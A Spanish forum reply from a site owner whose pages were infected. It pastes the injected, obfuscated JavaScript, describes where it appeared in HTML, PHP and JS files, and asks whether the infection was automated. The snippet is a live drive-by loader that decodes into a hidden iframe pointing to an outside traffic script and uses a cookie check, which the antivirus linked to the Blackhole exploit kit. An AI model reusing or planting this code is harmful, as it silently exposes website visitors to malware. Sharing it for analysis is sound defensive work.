¿Te refieres al script añadido? Aquí lo dejo. Si no es eso, estaré pendiente para retirarlo de aquí si es necesario.
w=window;aq=\"0x\";ff=String;ff=ff.fromCharCode;try{document[\"\x62ody\"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,68,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,68,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,60,65,5d,66,69,64,58,6d,60,58,65,66,25,60,6b,26,5a,66,64,67,66,65,5c,65,6b,6a,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,17,34,17,1e,58,59,6a,66,63,6c,6b,5c,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,59,66,69,5b,5c,69,17,34,17,1e,27,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,5f,5c,60,5e,5f,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,6e,60,5b,6b,5f,17,34,17,1e,28,67,6f,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,63,5c,5d,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,6b,66,67,17,34,17,1e,28,67,6f,1e,32,4,1,4,1,17,60,5d,17,1f,18,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,68,1e,20,20,17,72,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,68,53,1e,35,33,26,5b,60,6d,35,1e,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,68,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,68,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,60,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,1,17,60,5d,17,1f,17,6a,6b,58,69,6b,17,34,34,17,24,28,17,20,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,6d,58,69,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,19,32,19,23,17,63,5c,65,17,20,32,4,1,17,60,5d,17,1f,17,5c,65,5b,17,34,34,17,24,28,17,20,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,63,5c,65,5e,6b,5f,32,4,1,17,69,5c,6b,6c,69,65,17,6c,65,5c,6a,5a,58,67,5c,1f,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,63,5c,65,23,17,5c,65,5b,17,20,17,20,32,4,1,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[\"split\"](\",\");}w=f;s=[];for(i=2-2;-i+1308!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+9);}fafa=e;fafa(s)}
Lo pongo tal cual estaba ya que aunque he limpiado todos los archivos afectados, el script lo he guardado. No se realmente que hace, lo que sí se es que va con aspecto de "blackhole exploit kit" según el antivirus de uno de mis usuarios. En el mío, me decía que había un "gif" infectado (este aviso salió cuando lo puse en pastebin para enseñarselo a un conocido).
Este script estaba en varios luagres. En los HTML estaba SIEMPRE despues de un </div> y si no había div, estaba después del <head>. En los PHP siempre estaba al final de pagina, en un echo y abriendo nuevamente etiquetas <? y ?>. En los js estaba también al final del archivo.
Lo que me da a pensar que realmente la infección estaba automatizada y de ser así, debería lanzarse "ordenes" desde otro lugar o desde mi propia página? Esto último pregunto solo para informarme aunque se que es complicado responder a estas cosas sin ver directamente el ataque o la propia página.